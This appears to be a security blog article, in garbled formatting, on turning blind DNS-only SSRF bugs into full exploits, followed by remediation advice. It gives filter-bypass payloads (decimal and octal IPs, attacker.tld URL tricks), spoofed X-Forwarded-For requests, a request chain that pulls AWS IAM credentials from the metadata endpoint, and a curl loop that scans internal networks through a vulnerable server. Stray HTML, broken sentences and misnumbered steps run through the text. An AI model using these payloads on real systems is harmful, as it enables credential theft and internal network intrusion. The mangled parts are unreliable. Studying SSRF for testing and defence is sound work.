Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) is a critical web vulnerability where an attacker tricks a server into making unauthorized requests to internal or external resources. In advanced scenarios, these vulnerabilities may only trigger DNS lookups without following through with HTTP requests, creating a “blind” SSRF that frustrates bug hunters seeking proof of exploitation. This analysis transforms that frustration into methodology, detailing how to elevate a mere DNS callback into a full-chain attack compromising cloud metadata, internal networks, and administrative systems.
Learning Objectives:
- Understand techniques to convert blind DNS-based SSRF into exploitable HTTP request vulnerabilities.
- Master header injection and filter bypass methods to evade common SSRF defenses.
- Learn to weaponize SSRF for attacking cloud metadata services and pivoting to internal networks.
You Should Know:
1. Decoding Blind SSRF and the DNS Connection
A blind SSRF occurs when the server makes a request but does not return the response to the attacker. The scenario described in the post, where a bug triggers a DNS lookup but not an HTTP call, is a common manifestation. This often happens when the application validates a URL, resolves its hostname via DNS, but then fails to make the subsequent HTTP request due to a filter, error, or network policy. However, a DNS callback confirms the attacker controls a URL parameter that the server processes. The key is that the initial vulnerability is present; the challenge is to bypass the blocking mechanism to exfiltrate data.
Step‑by‑step guide:
- Confirm and Map the Vulnerability: Use an interactive SSRF payload (like a Burp Collaborator or Interactsh URL) as the parameter value. A DNS callback confirms the server is resolving your hostname.
- Test for Protocol Blocks: Systematically test if the block is based on the protocol, port, or specific keywords. Try variations:
`http://yourdomain.com` (Baseline)
`https://yourdomain.com` (Switch protocol)
`dict://yourdomain.com:1337/` (Use non-HTTP protocols)
`http://yourdomain.com:80` (Explicitly specify common port)
`http://yourdomain.com:443` (Try HTTP on port 443)
3. Analyze the Application’s Goal: Determine why the server uses your input. If it’s for fetching an image, avatar, or document, the backend logic might expect specific content types (like image/png). Your DNS-only result may occur because the server receives your request’s response, finds an unexpected `Content-Type` header, and discards the body before it reaches you.
2. Weaponizing Headers: From `X-Real-IP` to `X-Forwarded-For`
The post mentions using an `X-Real-Ip` header. This is a crucial clue. Headers like X-Forwarded-For, X-Real-IP, and `CF-Connecting-IP` are used to pass the original client IP through proxies. Applications behind load balancers often trust these headers implicitly. An attacker can inject these headers to spoof their IP, potentially bypassing IP-based access controls. The `X-Forwarded-For` header is particularly powerful as it can contain a list of IPs, and improper parsing can lead to SSRF or access control bypass.
Step‑by‑step guide:
- Identify Trusted Headers: Intercept a normal request and add various IP-forwarding headers (
X-Forwarded-For,X-Real-IP,Client-IP,CF-Connecting-IP). Observe if the application’s response changes (e.g., different geolocation content, logged IP). - Inject Internal IPs: Once a trusted header is identified, use it to make the request appear to come from the local network.
Payload: `X-Forwarded-For: 127.0.0.1`
Goal: Access internal admin panels (http://localhost/admin`).stockApi=`), also add a spoofed header. The backend might use the header for authentication while the parameter defines the target, potentially bypassing dual-layer filters.
3. Chain with the SSRF Parameter: If the vulnerable parameter is in the request body (e.g.,
Example Request:
POST /fetchUrl HTTP/1.1 Host: vulnerable.com X-Forwarded-For: 127.0.0.1 Content-Type: application/x-www-form-urlencoded url=http://169.254.169.254/latest/meta-data/
3. Bypassing Common SSRF Filters and Blacklists
Applications often implement weak blacklists against terms like localhost, 127.0.0.1, or 192.168.. These are trivial to bypass.
Step‑by‑step guide (with commands):
Use these alternative representations in your payload URL:
Decimal IP Notation: Convert `127.0.0.1` to its decimal form (2130706433).
Linux Command: `printf “%d\n” 0x7f000001`
Octal Notation: `127.0.0.1` becomes `017700000001`.
IP Shortening: `127.1` is a valid equivalent to 127.0.0.1.
Domain Tricks: Register a domain you control (e.g., attacker.tld) and point its A record to 127.0.0.1. Use http://attacker.tld`.@
<h2 style="color: yellow;"> URL Obfuscation:</h2>
Using:http://[email protected]/` – The server may connect to attacker.tld.
Using “: http://attacker.tldexpectedhost.com` - The fragment (…) may be ignored by the server's parser.127%2e0%2e0%2e1`.
Double URL Encoding: Encode the dot in `127.0.0.1` to
4. Exploiting Cloud Metadata Endpoints
A primary target for SSRF is cloud instance metadata services. These services, like the AWS metadata endpoint at `http://169.254.169.254/`, provide credentials, security groups, and user data scripts. Exploiting them can lead to full cloud environment compromise.
Step‑by‑step guide:
1. Confirm the Target is Cloud-Hosted.
- Probe the Metadata Endpoint: Use your SSRF vector to target the internal metadata IP.
Payload: `url=http://169.254.169.254/latest/meta-data/`
3. Enumerate and Exfiltrate: If the endpoint responds, enumerate its paths.
Key Target: `http://169.254.169.254/latest/meta-data/iam/security-credentials/` – This lists IAM roles. Then, access a role to get temporary AWS credentials.
Example Chain:
1. GET /latest/meta-data/iam/security-credentials/ 2. Response: `MyAdminRole` 3. GET /latest/meta-data/iam/security-credentials/MyAdminRole 4. Response: JSON containing <code>AccessKeyId</code>, <code>SecretAccessKey</code>, <code>Token</code>.
5. Pivoting to Internal Network Exploitation
SSRF can turn a vulnerable web app into a proxy to attack the organization’s internal network, accessing systems never designed to be internet-facing.
Step‑by‑step guide:
- Internal Port Scan: Use the SSRF to probe common internal ports on the loopback or discovered internal IPs.
Burp Suite Intruder Payload: Set the target URL to `http://192.168.0.:[bash]`. Use numbers payloads for IP (1-254) and port (22, 80, 443, 8080, 9000, 3389).</li> <li>Attack Internal Services: If you find an open port running a vulnerable service (e.g., an unpatched Jenkins, Redis, or Confluence server), you can deliver an exploit payload directly via the SSRF.</li> </ol> <h2 style="color: yellow;">3. Automate with a Script:</h2> [bash] Basic internal discovery loop (Linux) for ip in {1..254}; do for port in 80 443 8080; do curl -v "http://vulnerable.com/fetch?url=http://192.168.1.$ip:$port" -s -o /dev/null -w "%{http_code}" & done done Monitor your Collaborator for DNS/HTTP callbacks to identify live hosts.6. Remediation and Secure Coding Practices
Preventing SSRF requires a defense-in-depth approach, as it’s notoriously difficult to mitigate with blacklists alone.
Step‑by‑step guide for developers:
- Use an Allowlist: The most effective control. Only permit requests to a finite set of known, needed hostnames or IPs.
Python Example:
ALLOWED_HOSTS = {'api.safe-external-service.com', 'cdn.internal.com'} parsed_url = urlparse(user_input_url) if parsed_url.hostname not in ALLOWED_HOSTS: raise ValueError("URL not permitted")2. Validate and Sanitize Input: If an allowlist isn’t feasible, validate user input strictly.
Reject Private IP Ranges: Block requests to RFC 1918 (e.g.,10.0.0.0/8), loopback (127.0.0.0/8), and cloud metadata (169.254.169.254) addresses. Crucially, resolve the hostname first and check its IP, not just the URL string.
3. Disable Unused URL Schemas: In your application’s HTTP client libraries, disable support for dangerous schemas likefile://,dict://,gopher://.
4. Segment Networks: Apply the cloud security principle of least privilege to networks. Backend systems with sensitive data should not be reachable from application servers, even internally.7. Training and Next Steps for Bug Hunters
Transitioning from finding basic bugs to critical flaws like exploitable SSRF requires focused learning and practice.
Step‑by‑step guide for skill development:
- Foundational Labs: Complete all SSRF labs on the PortSwigger Web Security Academy. They range from basic to advanced, including blind SSRF.
- Practice on Intended Targets: Use platforms like PentesterLab or TryHackMe rooms specifically focused on SSRF and bug bounty methodologies.
- Study Real-World Reports: Read disclosed reports on HackerOne or blogs by hunters like @NahamSec to understand technique evolution.
- Earn Relevant Certifications: Pursue practical certifications that include SSRF exploitation, such as the Burp Suite Certified Practitioner (BSCP) or the Offensive Security Web Expert (OSWE), which align with the skills mentioned in the original post (EJPT, CEH).
What Undercode Say:
The DNS Callback is a Green Light, Not a Dead End: A DNS-only SSRF signal is a high-confidence indicator of a manipulatable server-side request. It demands further investigation into protocol switches, header injections, and filter bypasses, not abandonment.
Context is King for Impact: The criticality of an SSRF flaw is not inherent but contextual. Finding one in a server with access to cloud metadata or an internal administrative panel is catastrophic. The hunter’s goal is to pivot from the initial finding to map this internal context and maximize demonstrated impact.The post’s specific case—using the `X-Real-Ip` header—highlights a sophisticated testing approach. It suggests the hunter is attempting to manipulate the application’s perception of the request’s origin, potentially to bypass a filter that blocks external IPs from accessing the SSRF functionality. This move from simple parameter tampering to header injection represents a significant depth in understanding application architecture and trust boundaries.
Prediction:
In the next 2-3 years, SSRF exploitation will become more challenging but also more lucrative. Cloud providers will continue hardening metadata services (e.g., requiring session tokens by default), pushing attackers to find more complex authentication bypass chains. Conversely, the proliferation of internal microservices and serverless functions in modern architectures will exponentially expand the internal attack surface accessible via a single SSRF vulnerability. Defensively, the integration of AI-powered SAST tools into CI/CD pipelines will catch basic SSRF patterns earlier. However, advanced logical SSRF flaws arising from complex business workflows and service dependencies will remain a high-value, manual hunting ground for skilled security researchers, keeping SSRF a mainstay in critical bug bounty reports.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mohamed Ismail – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
